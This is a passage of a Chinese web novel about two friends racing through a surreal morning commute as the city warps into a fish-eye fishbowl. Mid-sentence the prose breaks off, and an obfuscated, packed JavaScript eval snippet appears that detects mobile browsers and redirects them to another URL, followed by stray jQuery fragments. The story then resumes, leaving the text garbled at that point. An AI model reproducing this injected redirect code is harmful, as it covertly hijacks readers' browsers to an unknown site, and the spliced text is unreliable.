李伟被他用一个诡异的姿势扛着，颠得七荤八素，他觉得猴子也是真的在发癫。但他真没办法，只能狂拍猴子的后背，“放我下来啊啊啊啊啊！”


    “放我下来！我能自己跑着吃饭！”李伟喊得声嘶力竭，他今天起床方式真的对吗？这对吗？


    过于剧烈的情绪互相冲突，荒谬与无厘头冲散了堵塞的透明软块，李伟一下子大笑出声，“你们到底是在燃什么啊！”


    孙行知把他放下来，一个大跳，面朝着李伟往后倒退着跑，“因为跑步本来就是一件很燃的事啊。”


    李伟笑得要喘不过气，笑一会儿才能勉强吃进东西。早饭是特意准备的，一素一荤两个包子，温温热，方便吃不烫嘴，也不会吃得很狼狈。平常李伟自己一般都只吃些零食就上路，果然还是要吃热食才觉得像在进食。


    他三两口就把包子吞进去，反倒吓了孙行知一跳，“我可没给你买豆浆，你这么吃不会噎到吗？”


    李伟吞咽了两下，摇头，“早就习惯了，跑步还不应该吃东西呢。”


    也是，只能从这些时间里抠时间，还能说什么呢？


    深吸一口气，继续小跑去地铁站。公交从他们身边向后驶过，李伟只轻轻一转头，就笑，“又晚点了。”


    “你不是不坐公交去公司的吗？”孙行知问。


    “我以前坐过，后来得到了血泪教训，才不坐了。这班公交简直就是薛定谔的公交，无论什么时候出门，都只能眼睁睁看着他开走，你要早出门，它就早开走，迟出门，它干脆就不来，永远得等。”


    公交被夹在车流中，人被挤在城市里，他们一直向前跑，地铁站近在眼前却又遥不可及，每次都跑到浑身发汗，喉咙冒烟。迟到，快要迟到的钟表敲打着神经，所以不敢停，只能一直跑，一直向前跑。


    李伟觉得自己好像一条竭力在海中呼吸的鱼，似乎拼命地跑，就能跑出这蹉跎的困境。


    他不觉得跑步很燃，倒是觉得自己快燃尽了，他燃烧着自己的生命，也不知道到底是在点哪丛鬼火，只能一边跑一边喊，要死要死要死。


    累死累活，七窍生烟，就这样机械重复一天又一天。好像在跑步机上狂奔，未有寸进，未来还是未来，根本看不见。


    李伟抹了一把脸上的汗，喘得停不下来，但他又在哈哈大笑。


    他从来没有这么具体地感受到自己的生命，和食物一起，就沉在自己的胃里。他能感觉到地面坚实应和脚掌，神情木然的人们同他擦肩而过。


    然后地面一软，他一个趔趄，差点摔倒。


    孙行知一把托住他，神色愕然。


    整个世界都开始变化，地铁站的位置被不知名的力量拉着推远。地面也开始变形，像是变成了一张柔软的长地毯，波浪般起伏，一不小心就会被绊一跤。跑着跑着地面卷走，人却还在原地。


    他们不得不扶住一旁的路灯稳住身形，可随即路灯也软倒，像失真的荧光植物，视线所及，一切都变得扭曲，像是加上了水波纹特效。


    李伟跌倒在地上，跟被甩在蹦床上似的爬不起来。走过他身边的行人倒都不受影响，各个如履平地。忽然有人停下，低头看李伟，很平平无奇的一张脸，下一秒就缓慢充气、膨胀，啵的一声，那个路人的头晃晃悠悠地被放大。


    李伟尖叫出了声，孙行知艰难地爬过来拉他。


    啵，啵，啵。


    不止这一个人，在街边走路的人，站在公交上的人，坐在汽车里的人，每个人的头都开始膨胀，像被剥了壳的荔枝，一个接一个地弹出膨胀。


    它们像被加上了鱼眼特效，五官都畸变得很严重，皮肤被撑到半透明，好像里面有水。


    鱼吐泡泡的声音，哗啦啦的水声，混合回荡在街道上。鱼群转过头，盯着李伟，似乎在疑惑，为什么他的头没有变形。


    孙行知是被自动忽略了的那个，他推着李伟，硬生生把人拽起来，“别看，别想，别停！”


    他不知道这些人对他们有没有恶意，也不知道应该怎样应对。但他很清楚地记得，这是一个比赛项目，名字叫上班。李伟还没有到达终点，还没有完成比赛，那就不能停。


    都快迟到了，上班路上有热闹你还看吗？！


    李伟被推着跑，跑得跌跌撞撞。但情况比刚刚要好一些，只要适应这个晃晃悠悠的发软地面，就还能勉强前进。


    手机响了，分不清是谁的，孙行知费力地抓出手机，是群通话。他接通电话，就听到姜牧雨发抖的声音，“地面在变形，建筑也在扭曲。”


    “你还好吗？”李伟突然醒过来似的，凑过来焦急大喊，“你有受伤吗？”


    “我没事，我没事。”姜牧雨努力地大口呼吸，“我在去公司的班车上，暂时没事。”


    “要小心，我们这边人也出现了畸变，但目前没有攻击性。”孙行知匆匆说道。


    “外面出问题了？我这里什么异常都没有。”常元磊的声音，“跟计划中一样，约翰跟我在一起，她准备要出发了，你们还能到地铁站吗？”


    可能到不了了，李伟想，地铁站远得跟鬼一样。大脑这样想着，可他却一把抢过手机喊着，“快了快了！还有两分半！”


    他不需要闭眼就能看到这条街的全貌，以这个速度跑，经过垃圾桶的时候还剩四分钟，经过早点摊的时候还剩三分钟，经过自行车位的时候还剩两分钟。


    他下意识捕捉着那些细小的事物，用来组成判断路径的锚点。


    地面融化坍塌，建筑变形扭曲，顶着泡肿发胀头颅的人们，在起伏的路面上高高低低地走。


    整个世界好像一个透明的鱼缸，还是花鸟市场里那种随手装进塑料袋的鱼缸。袋子稍一倾倒，里面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432964|198964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的世界就变形，水草和石子被水波扭曲。直线不再保持直线，而是被映射成鱼眼透视，就这样用畸变的非线性投影，把整个世界压缩进一个平面里。


    太阳高悬头顶，越来越红，红得醒目，红得像个假布景。不知道是不是错觉，太阳距离地面越来越近，形状也从圆饼状变成了锥形椭圆。


    就好像一开始就有人往这个世界里倒了一些鱼，再加一些布景，最后在这个塑料袋上涂上一个红彤彤的圆，万事大吉。


    而现在那支红笔正在用力，推入这个世界，在塑料袋破掉之前，那个太阳会产生这样尖锐的形变。等到足够用力，捅破这层薄膜的那个瞬间，赖以生存的水就会顺着破洞涌出。


    但在那个瞬间到来之前，小小的鱼啊，只能奋力奔跑。


    地面变成了一个夹子，像水里的捕食者，追在他们身后。快了，快了，李伟拉着孙行知狂奔，他进入了专注模式，顾不上周围环境的变化，只是死死盯着那个狭窄的地铁站入口。


    跑上最后三级台阶，终于冲进地铁站。太阳正巧堵在地铁站的入口，一个红色的凸起，后面好像有活物要撑开红色的薄膜。


    于是地铁站里的人也开始套上鱼眼特效，一个接一个，晃晃悠悠地往下走。两人挤不开人群，只能焦急地站在扶梯上等。


    “你注意到其他竞争者的位置了吗？”李伟这时候思维格外清晰，问猴子。


    孙行知根本没注意，两个人只好咬着牙再继续跑。说来也奇怪，李伟并不感觉累。以他的体能，跑这一段路，要喘着歇好一会儿，这时候却半点没感觉。但他也没跟孙行知说，眼下这也不重要。


    一进地铁站，人就多了起来。都是挤早高峰的人，排队过安检，队伍长得甩了两个尾。


    “去，直接过安检。”孙行知推李伟，李伟身上又没有包，干嘛要傻站在这里排队。


    “可是……”不还得等你过完安检么，李伟想说，但人已经被推到安检口了。


    安检员看也没看他，就放他过去了。李伟愣愣地一摸兜，才想起来手机在包里，他也不能进站买票啊？


    “十三！”孙行知忽然扬声喊了一句，他看也没看，就把手中的书包奋力甩了出去。


    跨过长长的安检队伍，常元磊一跃而起，在安检仪器的这头接到了书包。他为了不碰到人群，整个人踩在了机器架上，腾空背上书包，熟练反手摸出李伟的手机丢给他。


    李伟还在愣神，常元磊已经躬身蓄力，一个大跳。先是落到进站闸机上，顺势再一借力，就翻了过去。


    李伟这才反应过来，赶紧刷卡进站。常元磊抓着他往里冲，“透明人也有透明人的好处，牛吧？进站不用过安检也不需要刷卡哦。”


    他好像半点不受鱼眼特效人的影响，还在和李伟开玩笑，好像他们只是在玩一个有点荒诞的密室逃脱。